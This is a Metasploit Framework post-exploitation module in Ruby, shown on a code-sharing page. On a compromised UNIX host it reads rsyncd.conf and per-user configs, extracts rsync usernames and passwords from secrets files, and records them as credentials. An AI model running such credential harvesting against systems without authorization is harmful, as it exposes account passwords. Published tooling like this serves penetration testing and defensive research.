CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/rsyncd_creds.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'UNIX Gather RSYNC Credentials',
15
'Description' => %q{
16
Post Module to obtain credentials saved for RSYNC in various locations
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
20
'SessionTypes' => %w[shell]
21
)
22
)
23
24
register_options(
25
[
26
OptString.new('USER_CONFIG', [
27
false, 'Attempt to get passwords from this RSYNC ' \
28
'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf'
29
])
30
]
31
)
32
register_advanced_options(
33
[
34
OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
35
]
36
)
37
end
38
39
def setup
40
@user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
41
end
42
43
def dump_rsync_secrets(config_file)
44
vprint_status("Attempting to get RSYNC creds from #{config_file}")
45
creds_table = Rex::Text::Table.new(
46
'Header' => "RSYNC credentials from #{config_file}",
47
'Columns' => %w[Username Password Module]
48
)
49
50
# read the rsync configuration file, extracting the 'secrets file'
51
# directive for any rsync modules (shares) within
52
rsync_config = Rex::Parser::Ini.new(config_file)
53
# https://github.com/rapid7/metasploit-framework/issues/6265
54
rsync_config.each_key do |rmodule|
55
# XXX: Ini assumes anything on either side of the = is the key and value,
56
# including spaces, so we need to fix this
57
module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
58
next unless (secrets_file = module_config['secrets file'])
59
60
read_file(secrets_file).split(/\n/).map do |line|
61
next if line =~ /^#/
62
63
if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
64
creds_table << [ user, password, rmodule ]
65
report_rsync_cred(user, password, rmodule)
66
end
67
end
68
end
69
70
return if creds_table.rows.empty?
71
72
print_line(creds_table.to_s)
73
end
74
75
def report_rsync_cred(user, password, rmodule)
76
credential_data = {
77
origin_type: :session,
78
session_id: session_db_id,
79
post_reference_name: refname,
80
username: user,
81
private_data: password,
82
private_type: :password,
83
realm_value: rmodule,
84
# XXX: add to MDM?
85
# realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
86
workspace_id: myworkspace_id
87
}
88
credential_core = create_credential(credential_data)
89
90
login_data = {
91
address: session.session_host,
92
# TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
93
# 'port' directive in the global part of the rsyncd configuration file.
94
# Unfortunately, Rex::Parser::Ini does not support parsing this just yet
95
port: 873,
96
protocol: 'tcp',
97
service_name: 'rsync',
98
core: credential_core,
99
access_level: 'User',
100
status: Metasploit::Model::Login::Status::UNTRIED,
101
workspace_id: myworkspace_id
102
}
103
create_credential_login(login_data)
104
end
105
106
def run
107
# build up a list of rsync configuration files to read, including the
108
# default location of the daemon config as well as any per-user
109
# configuration files that may exist (rare)
110
config_path = datastore['RSYNCD_CONFIG']
111
config_files = Set.new([ config_path ])
112
config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
113
config_files.map { |config_file| dump_rsync_secrets(config_file) }
114
end
115
end
116
117